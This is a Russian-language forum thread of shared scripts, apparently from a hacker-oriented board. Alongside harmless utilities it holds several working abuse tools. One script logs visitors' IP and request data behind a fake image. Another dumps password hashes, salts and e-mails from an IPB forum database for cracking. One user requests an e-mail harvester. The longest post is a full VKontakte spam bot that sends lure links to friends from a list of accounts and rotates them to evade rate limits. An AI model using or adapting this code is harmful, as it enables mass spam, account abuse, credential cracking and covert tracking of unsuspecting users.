Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    PHP-Getting
    Что нового:
    1. Сделаны галки в менеджере.
    2. Возможность добавления комментариеви сохранение ссылок.
    3. Переименовывание в файл-менеджере
    4. Добалены getfile.biz, webfile.ru, slil.ru / zalil.ru.
    5. Заново исправлена почтовая функция ;-) Надеюсь в последний раз...

    Описание:
    Скрипт умеет сливать файлы с rapidshare.de, www.megaupload.com, www.upload2.net, www.mytempdir.com, getfile.biz, webfile.ru, slil.ru или zalil.ru, по прямым ссылкам, включая ftp (с возможностью авторизации), плюс умеет разбивать файлы на части и отправлять их на почтовый ящик. И ещё имеет удобный менеджер скаченных файлов для проведения операций над ними.

    НАСТРОЙКА:
    1). Создайте папку на сервере, выставьте на неё права (chmod) 777.
    2). Залейте в папку скрипт и используйте по назначению ;)
    Ссылки:
    http://slil.ru/25867346
    http://dump.ru/file_catalog/442257
     
    1 person likes this.
  2. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Описание:
    Скрипт для генерации последовательности печати "книжкой"
    PHP:
    <?
    $sheets=14// число листов в буклете
    $l=1;
    $r=$sheets*4;
    for(
    $k=1;$k<=$sheets;$k++)
    {
    //  echo "Sheet ".$k." :<br>";
    //  echo "side 1: ". $l ." & ". $r ."<br>";
    echo $r.','.$l.','// для печати 1 стороны
    $l++;
    $r--;
    //  echo "side 2: ". $l ." & ". $r ."<br>";
    //echo $r.','.$l.','; // для печати 2 стороны // расскоментить по очереди
    $l++;
    $r--;
    }
    либо генерирует последовательность, либо системными вызовами переименовывает странички, чтобы из них собрать единый пдф для печати.

    ИМХО: шпоры хорошо печатает :)))
     
    1 person likes this.
  3. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    114 Power Scripts - набор из 114 CGI-скриптов. На некотором сайте продаётся за 9,99$ :) Для тех кто занимается сайтостроением и SEO подборочка будет однозначно незаменима...

    Льём отсюда .

    В архиве есть подробное описание на все скрипты, здесь пишу только названия:

     
    1 person likes this.
  4. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    небольшой php-скрипт, который записывает все посещения страницы в лог файл

    PHP:
    <?
    /**
    небольшой php-скрипт, который записывает все посещения страницы в лог файл
    автор не я, но честно не помню кто..
    */

    $query = @$_SERVER['QUERY_STRING'];
    if (
    $query == "" or !ereg("^loged=1"$query))
    {
    $get_time date("d.m.Y (H:i:s)"time());
    $get_ip getenv("REMOTE_ADDR");
    $get_browser getenv("HTTP_USER_AGENT");
    $get_port getenv("REMOTE_PORT");
    $get_connect $_SERVER['HTTP_CONNECTION'];
    $get_host gethostbyaddr(getenv("REMOTE_ADDR"));
    $get_referer = @$_SERVER['HTTP_REFERER'];
    $fopen fopen ("log.txt""a+");
    fputs ($fopen"\n---------- Detected at $get_time--------------\n");
    fputs ($fopen"IP: $get_ip\n");
    fputs ($fopen"Browser: $get_browser\n");
    fputs ($fopen"Port: $get_port\n");
    fputs ($fopen"Host: $get_host\n");
    fputs ($fopen"Connection: $get_connect\n");
    fputs ($fopen"Referer: $get_referer\n");
    fclose ($fopen);
    die(
    "");
    }
    else if (
    ereg("^loged=1"$query))
    {
    $fopen fopen ("log.txt""a+");
    foreach (
    $_GET as $key => $value)
    fputs ($fopen"$key $value");

    fclose ($fopen);
    header ('Content-type: image/jpeg');
    die (
    readfile("real_photo.jpg"));
    }
    ?>
     
  5. Fluxoid

    Fluxoid New Member

    Joined:
    12 Jun 2008
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    очень простой Proxy Judge (судья, типа) начинающему
    PHP:
    <?php
    echo "<b>ProxyJudge V1.0.0</b><br>";
    echo 
    "<pre>\n";
    echo 
    "HTTP_ACCEPT = ".$_SERVER['HTTP_ACCEPT']."\n";
    echo 
    "HTTP_ACCEPT_CHARSET = ".$_SERVER['HTTP_ACCEPT_CHARSET']."\n";
    echo 
    "HTTP_ACCEPT_LANGUAGE = ".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n";
    echo 
    "HTTP_CONNECTION = ".$_SERVER['HTTP_CONNECTION']."\n";
    echo 
    "HTTP_HOST = ".$_SERVER['HTTP_HOST']."\n";
    echo 
    "HTTP_USER_AGENT = ".$_SERVER['HTTP_USER_AGENT']."\n";
    if(isset(
    $_SERVER['HTTP_X_FORWARDED_FOR'])){
        echo 
    "HTTP_X_FORWARDED_FOR = ".$_SERVER['HTTP_X_FORWARDED_FOR']."\n";
    }
    if(isset(
    $_SERVER['HTTP_VIA'])){
        echo 
    "HTTP_VIA = ".$_SERVER['HTTP_VIA']."\n";
    }
    echo 
    "REMOTE_ADDR = ".$_SERVER['REMOTE_ADDR']."\n";
    echo 
    "REMOTE_PORT = ".$_SERVER['REMOTE_PORT']."\n";
    echo 
    "REQUEST_METHOD = ".$_SERVER['REQUEST_METHOD']."\n";
    echo 
    "REQUEST_URI = ".$_SERVER['REQUEST_URI']."\n";
    echo 
    "\n</pre>";
    ?>
    геолокейшн на perl (может кому пригодится,
    сам использую для различного таргетинга, лукапа прокси и пр., скрин работы - http://caco-daemon.ueuo.com/a.html)
    перл-модуль лежит здесь:
    http://ppm4.activestate.com/MSWin32-x86/5.10/1002/Geo-IP2Location.ppd
    база-данных здесь:
    http://www.ip2location.com/developers.aspx
    ограничение бесплатной базы:
    IP от 0.0.0.0 до 99.255.255.255
    PHP:
    use bytes;
    use 
    Net::hostent;
    use 
    Geo::IP2Location;

    sub get_geoloc(){
        
    my $host="";
        if(
    defined($_[0])){
            
    $host=$_[0];
        }else{
            return 
    0;
        }    
        
    my $ip=0;    
        if(
    $host !~ /^(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/i){
            print 
    "resolving $host: ";
            
    unless($h=gethost($host)){
                
    warn "no such host: $host\n";
                return 
    0;
            }
            
    $ip=inet_ntoa($h->addr);
            print 
    "$ip\n";
        }else{
            
    $ip=$host;
        }    
    #    путь к базе данных
    #    сменить, естественно
        
    my $geodb="c:\\strawberry\\perl\\site\\lib\\auto\\Geo\\IP2Location\\IP-COUNTRY-REGION-CITY-LATITUDE-LONGITUDE-ZIPCODE-TIMEZONE-ISP-DOMAIN-NETSPEED-SAMPLE.BIN";
        
    my $obj=Geo::IP2Location->open($geodb) or print "geolocation disabled\n";
        
    unless($obj != 0){ return 0; }
        
    my @info=$obj->get_all("$ip"); my $n=0;
        print 
    "*--------------------*\n";
        foreach 
    $dt (@info){
            if(
    $dt =~ "INVALID"){
                print 
    "got wrong IPv4 address\n";
                return 
    0;
            }
            if(
    $dt eq "??"){
                print 
    "no information about $ip\nfree database limitations :(\n";
                return 
    0;
            }
            if(
    $dt !~ "unavailable" and $n ne 0 and length($dt) > 0){
    #    печатаем всё, кроме шорт-кода страны
                
    print "$dt";
            }
            
    $n++;
        }
        print 
    "\n";
        print 
    "*--------------------*\n";
        return @
    info;
    }
    если видел кто полную версию геоип базы (от ip2location) по торрентам/рапидам - сообщите ;)
    писал как-то геолок на php (maxmind) + автоген google карты, если кому надо - поищу, скину.
     
  6. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    А на пыхе забацаешь такой? Появилась необходимость фильтровать несколько стран...

    Уже нашёл...
    Если кому надо: ТЫЦ
     
    #366 inlanger, 24 Jun 2008
    Last edited: 24 Jun 2008
  7. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    раз есть тема "полезные скрипты", значит быть ему здесь.
    а если удалят - то знач Исис таки превышает полномочия

    вот тут, собственно бесплатный javascript mp3grabber для vkontakte.ru
    http://3453620.livejournal.com/15421.html

    добавив его в свой браузер, вы сможете видеть прямые ссылки на музыку, выложенную вконтакте, на той же самой странице, под левым меню.
    всё очень просто.

    по ссылке дано подробное описание установки и использования.
     
  8. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Недавно возникла необходимость для себя написать скрипт, удаляющий дупликаты. Кому надо - забирайте.
    PHP:
    <?
    $file_in file("file_in.txt");
    $a count($file_in);
    $strings array_unique(File("file_in.txt"));
    $file_out fopen("file_out.txt""w");
    fwrite ($file_out,implode("",$strings));
    $file file("file_out.txt");
    $b count($file);
    fclose($file_out);
    $c $a $b;
    echo (
    "После удаления дупликатов осталось $b строк. Дупликатов - $c")
    ?>
     
  9. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    Получение id:hash:salt:mail из БД IPB для импорта в PasswordsPro :D
    PHP:
    <?php

    //Настойка

    $host 'localhost'//хост
    $login 'login'// логин БД
    $passw 'password'// пароль БД
    $dbase 'forum_db'// БД
    $table 'ibf_members_converge'//таблица БД IPB

    //подключаемся к серверу

    $link mysql_connect($host,$login,$passw);
    mysql_select_db($dbase,$link);

    //получаем список id:hash:salt:email

    $result_hash mysql_query("SELECT converge_id,converge_pass_hash,converge_pass_salt,converge_email FROM $table");
    while (
    $row mysql_fetch_array($result_hashMYSQL_ASSOC)) {
    printf ("%s:%s:%s:%s<br />"$row["converge_id"],$row["converge_pass_hash"], $row["converge_pass_salt"],$row["converge_email"]);}

    ?>
     
  10. acdel

    acdel Elder - Старейшина

    Joined:
    7 Jan 2008
    Messages:
    131
    Likes Received:
    57
    Reputations:
    3
    Занимаюсь спутниковой рыбалкой. Падает с неба уйма *.html.
    Нужен скриптик (граббер мыл)с таким вот ТЗ:
    - открывать все файлы в текущей дире и выдирать мыльники
    - мыльники сохранять в файло по домену типа ([email protected])
    - исключить дублирование
    - все провереное файло удалять
    - работа в цикле без останова

    Если кто напишет такое чудо отблагодарю жирной базой :)))
     
  11. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    идёт продвижение по питону
    Code:
    #!/usr/bin/env python
    from Tkinter import *
    import random
    
    def rand():
        mystring = ("A","B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", \
                   "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", \
                   "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", \
                   "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", \
                   "0", "1", "2", "3", "4", "5", "6", "7", "8", "9")
        try:
            num = int(entry.get())
        except:
            textbox.insert(END, "Failed recieving Length Value\n\n")
        
        r = ''.join(random.sample(mystring, num))
        textbox.insert(END, r + "\n\n")
    
    def clear():
        try:
            textbox.delete(0.0, END)
        except:
            textbox.insert(END, "Unable to Clear Data\n\n")
    
    
    root = Tk()
    root.title("generator paroley")
    
    frame = Frame(root)
    entry = Entry(frame)
    label = Label(frame, text="kol-vo simvolop v parole")
    label.pack(side=LEFT)
    entry.pack(side=LEFT)
    button = Button(frame, text="Go", command=rand)
    button.pack(side=LEFT)
    label=Label(frame, text="by alextoun")
    label.pack(side=RIGHT)
    
    button2 = Button(frame, text="Del", command=clear)
    button2.pack(side=LEFT)
    
    frame.pack()
    frame2 = Frame(root)
    textbox = Text(frame2)
    textbox.pack(side=LEFT, fill=BOTH, expand=TRUE)
    frame2.pack(expand=TRUE, fill=BOTH)
    root.mainloop()
    
     
  12. Solker

    Solker Elder - Старейшина

    Joined:
    4 May 2006
    Messages:
    175
    Likes Received:
    53
    Reputations:
    18
    Это элементарно, база врятле кому нужна.
    А тебе будет не лишни например выучить PHP.
     
  13. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Имхо, для GUI лучше ООП. В смысле классом оформить =)
    Да, тк как всегда ужасен на вид.
     
  14. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    извини это написанно после 20 минут чтениея мана по Tk
    впринципе там всё элементарно
     
  15. iron-viper

    iron-viper Elder - Старейшина

    Joined:
    13 Nov 2007
    Messages:
    167
    Likes Received:
    45
    Reputations:
    3
    Кто качал сайты прогами Teleport Pro или Offline Explorer Enterprise . Тот наверное сталкивался с тем что конечные файлы получаются с расшерением к примеру ".php@id=news&new=2406200402&print=1"
    Обработать пхп в таких файлах врядли получится, я пытался хтаксесс заставить это сделать ничего не вышло. Но если у Вас пару файлов то это не беда но если их кол-во переваливает за 100 то уже влом руками править ссылки. И был написан вот такой скрипт :

    1. Скрпт находит все файлы с "кривыми расширениями"
    2. Правит в них все линки, заменяя окончание на .php
    например было
    index.php@id=news&new=2406200402&print=1
    стало
    index_id=news&new=2406200402&print=1.php
    3. Перебивает все имена файлов по принципу пункта "2"
    4. Удаляет кривые файлы и осталяет нужные

    PHP:
    <?

        
    $start_dir "123"//сюда пишем директорию в которой будем искать и заменять


        
    $FILES = array();
        function 
    found_directory($dirname) {
        global 
    $FILES;
            if (
    is_dir($dirname)){
                
    $dir_handle opendir($dirname);
            }
            if (!
    $dir_handle){return false;}
            while(
    $file readdir($dir_handle)) {
                if (
    $file != "." && $file != "..") {
                    if (!
    is_dir($dirname."/".$file)){
                        if (
    preg_match('/(?:index\\.php[@](.*))|(?:(.*).html?)/'$file)) {
                            
    $FILES[] = $dirname."/".$file;
                        }
                    }else{
                        
    found_directory($dirname.'/'.$file);
                    }
                }
            }
            
    closedir($dir_handle);
            return 
    true;
        }


    found_directory($start_dir);
    //print_r($FILES);
    set_time_limit(0);

    foreach(
    $FILES as $file_n){
        
    $cont=file_get_contents($file_n);
        
    $cont preg_replace('~href=("|\')?([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)("|\')?~''href=$1$2_$3.php$4'$cont);
        
    $cont preg_replace('/href=("|\')?(.*)\\.html?("|\')?/''href=$1$2.php$3'$cont);

            
    $f_n preg_replace('~([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)~''$1_$2.php'$file_n);
            
    $f_n preg_replace('/(.*)\\.html?/''$1.php'$f_n);

            
    $handle fopen($f_n'w');

               
    fwrite($handle$cont);
            
    fclose($handle);
            
    unlink($file_n);


        echo(
    $file_n." ($f_n)<br>");
    }


    ?>


    Мини-инструкция:
    кидаем весь сайт например в директория "123"
    рядом с ней кидаем файл скрипта и запускаем.
    все ждем окончания.

    Юзайте кому надо. ;)
     
    #375 iron-viper, 1 Jul 2008
    Last edited: 1 Jul 2008
    1 person likes this.
  16. zer0ska

    zer0ska Elder - Старейшина

    Joined:
    5 Dec 2007
    Messages:
    103
    Likes Received:
    9
    Reputations:
    0
    ZerIpgen
    ZerIpgen это php скрипт который создает список ip заданного диапазона. работает он из коносоли.

    пример запуска

    Code:
    php ZerIpgen.php -s  192.168.0.1 -e 192.168.0.4
    Name: ZerIpGen
    Wersion: 1.1
    OS: Unix, windows
    Download: http://zerolab.ru/news/reliz-zeripgen-genirator-ip-listov.html
    Autor: Zer0
    Site: http://zerolab.ru
     
  17. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    ususus
     
    1 person likes this.
  18. Solker

    Solker Elder - Старейшина

    Joined:
    4 May 2006
    Messages:
    175
    Likes Received:
    53
    Reputations:
    18
    zer0ska
    Ты помойму на оформление потратил больше времени, чем на весь код =)
     
  19. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    С каждым днем наблюдается стремительный рост сервисов, например сайт вконтакте.ру и является самым посещаемым, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок.
    [ Реализация ]
    Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):
    PHP:
    <? ///////////////////////// // vkontakte-friends spam // vspam.php // (C) diehard ///////////////////////// $accsfile = "accs.txt"; $logsfile = "logs.txt"; $host = "vkontakte.ru"; $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги $title[] = "Привет!"; $title[] = "Доброго времени дня!"; $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))"; $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
    функции для скачки страницы, записи логов и отправки мессаги.
    Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.
    PHP:
    set_time_limit(0); function GetPage($domain$path$cookie) { $hostname gethostbyname($domain); $responce ""$errnum=0;$errstr=""$fsock fsockopen($hostname,80,$errnum,$errstr,5); if(!$fsock) { return 0; } $headers "GET $path HTTP/1.0\r\n""Host: $domain\r\n""User-Agent: Mozilla/5.0\r\n""Accept: */*\r\n""Content-Type: application/x-www-form-urlencoded\r\n""$cookie""Connection: close\r\n""\r\n"fwrite($fsock,$headers); while(!feof($fsock)) { $responce .= fread($fsock,1024); } fclose ($fsock); return $responce; } // статус работы будем выводить в отдельный DIV function SetStatus($status){ echo "<script>document.getElementById('statusDiv').innerHTML='$s tatus';</script>"; } // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo) function SetLog($logmsg){ $fp=@fopen($GLOBALS["logsfile"], "a"); fwrite($fp, $logmsg."/r/n"); fclose($fp); //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>"; SetStatus($logmsg); } function SendMail($from_id, $to_id, $t, $msg){ SetLog("SendMail $from_id:$to_id:$t:$msg"); // достаём secure $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]); preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure); foreach ($mailsecure[1] as $sss) {$secure=$sss;} SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure); // формируем post-запрос отправки $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; $len = strlen($post); $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n". "Host: ".$GLOBALS["host"]."\r\n". $GLOBALS["logincookies"][$from_id]. "Content-Type: application/x-www-form-urlencoded\r\n". "Connection: close\r\n". "Content-Length: $len\r\n". "\r\n". "$post"; $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); fputs($conn, $query); while (!feof($conn)) { $ss = fgets($conn, 128); } }
    А теперь реализуем сам алгоритм работы программы:

    Чтение акков (в формате id:emailassword)
    сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками
    PHP:
    $fp=@fopen($accsfile,"r"); while(!feof($fp)){ $account trim(fgets($fp)); $ac explode(":"$account); $id $ac[0]; $email $ac[1]; $md5 md5($ac[2]); $accs[] = $id$logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n"; }fclose($fp);
    Парсим списки френдов для каждого акка в массив $friends[$id][]:
    PHP:
    $maxsize 0; foreach ($accs as $curracc){ $currfriendspage GetPage($host$urlfriends$logincookies[$curracc]); preg_match_all("/write&to=(\w+)/"$currfriendspage$currfriends); foreach ($currfriends[1] as $currfriend){ $friends[$curracc][] = $currfriend; } $currsize sizeof($friends[$curracc]); if ($currsize>$maxsize$maxsize $currsize; }
    Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков
    PHP:
    echo "<table id='tableFr' border=1 cellspacing=0 cellpadding=0>""<tr id='trFr0'>""<td id='tdFr0_0'></td>"; for ($i=1;$i<=$maxsize;$i++) { echo "<td id='tdFr0_$i'>Friend$i</td>";}; echo "</tr>"$n=1; foreach ($accs as $curracc){ echo "<tr id='trFr$n'>"; echo "<td id='tdFr".$n."_0'>id$curracc</td>"; for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo "<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";}; for ($i=$i;$i<$maxsize;$i++) {echo "<td id='tdFr".$n."_".($i+1)."'>_</td>";}; echo "</tr>"$n++; } echo "</table>""<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>""<div id='logDiv'></div>";
    Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
    PHP:
    for($i=0;$i<$maxsize;$i++){ for($j=0;$j<sizeof($accs);$j++){ if ($i<sizeof($friends[$accs[$j]])) { echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>"SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]); SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i 2]); echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>"; }} sleep(1); }
     
    3 people like this.
  20. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    мда....
    ты можешь код привести в нормальный вид?